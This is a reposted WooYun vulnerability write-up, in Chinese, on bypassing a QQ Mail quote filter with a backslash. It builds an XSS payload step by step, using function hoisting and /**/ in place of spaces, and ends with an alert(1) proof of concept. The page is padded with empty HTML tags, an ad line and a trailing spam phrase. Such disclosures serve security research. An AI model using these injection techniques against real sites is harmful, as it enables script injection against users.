<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                # 5\. 反斜線復仇記 > 來源:[5\. 反斜線復仇記](http://www.wooyun.org/bugs/wooyun-2010-015979) ## 簡要描述 還是在`<script>`之間的場景,某些情況下,我們僅僅需要的只是一個反斜線,就可以繞過過濾了。 ## 詳細說明 1\. 有以下實例點。 ``` http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi- bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526cl ickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1 ``` 對應的輸出,如下圖所示: ![image](https://box.kancloud.cn/2016-03-23_56f2503d9ab8d.jpg) 經過測試,我們可以看到,雙引號是用不了, 但是 反斜線還可以使用。 ![image](https://box.kancloud.cn/2016-03-23_56f2503db3d89.jpg) 那么這里是否可以成功的 XSS 呢? 我們把缺陷代碼部分提取出來。 ``` <script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regali as="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting1 0%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2 Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Din dex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206 ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script> ``` 2\. 可以看到有缺陷的部分是 ``` location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。 ``` 我們可以控制的是 aaaa ,又不能用`"`,怎么辦呢? 因為我們可以使用 `\`,那么我們可以殺掉 aaaa 后面的 雙引號。 ``` location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param="; ``` 可以看到代碼的結果因為一個反斜線發生了變化,如下圖: ![image](https://box.kancloud.cn/2016-03-23_56f2503dc5dbd.jpg) 為了保證 bbb 后面的語法正確性,我們把 bbb 改為一個數字,把 bbb 后面加上 `//` 來注釋掉后面的部分。變成以下形式。 ``` location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param="; ``` 3\. 看起來不錯哦,但是會出來一些問題,`"字符串"&from=1`,這樣是錯誤的,因為&符號的優先級高, `("字符串"&from)=1` 是無法進行 這種賦值操作的。這樣一來還是不行。別著急。我們可以稍微改動一下。變為以下形式。 ``` location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param="; ``` 由于==的優先級比 `&` 高,所以語句相當于 `("字符串")&(from==1)` 4\. 更順眼了,但是還是會悲劇啊。由于 from 未定義,直接和 1 進行相等判斷的話,會報錯,錯誤是:“from”未定義。。。怎么辦呢? 5\. 別緊張,javascript 里有一個特性。 如下: ``` aaa(); function aaa(){ } ``` 凡是以 `function xxx(){}` 形式定義的函數,都會被最優先解析。換句話說: 解析器在解析 JS 代碼段時,會先將 `function xxx(){}` 拿到最前面解析,然后再依次解析其它的部分。 換句話說,上面的代碼,實際 的解析順序是: ``` function aaa(){ } aaa(); ``` 利用這樣一個特性,我們的代碼可以改改。 ``` location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param="; ``` 這樣一來,我們的 `function from(){}` 就會被提前解析,從而定義了 from, 后面 `from==1` 的時候,就不會報錯啦~~ 6\. 故事往往是曲折的,到了這一步,我們會發現還是不行。 看一看源代碼吧~~ ,哎,我們的空格被轉義為了 `&nbsp;` ![image](https://box.kancloud.cn/2016-03-23_56f2503de6262.jpg) 7\. 當然,這么一點小事情,難不到我們的,我們用注釋符來做分隔符。 `/**/`替換空格,有沒有覺得和 sql 注入一樣了,咔咔。 于是,我們的代碼變為了: ``` location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param="; ``` 8\. 嗯,這次沒有語法錯誤了,我們插入我們自己的 JS 代碼。 ``` location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param="; ``` 最終的利用代碼如下: 恩,這次是我們的 反斜線為 雙引號報仇啦! ![image](https://box.kancloud.cn/2016-03-23_56f2503e0beb0.jpg) 只有在不登錄 QQ 郵箱的情況下觸發,比較雞肋,實際意義不大,僅供研究。 ## 修復方案 1\. 隨便修修就好。 2\. 某些情況下,`\` 還是很危險的。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看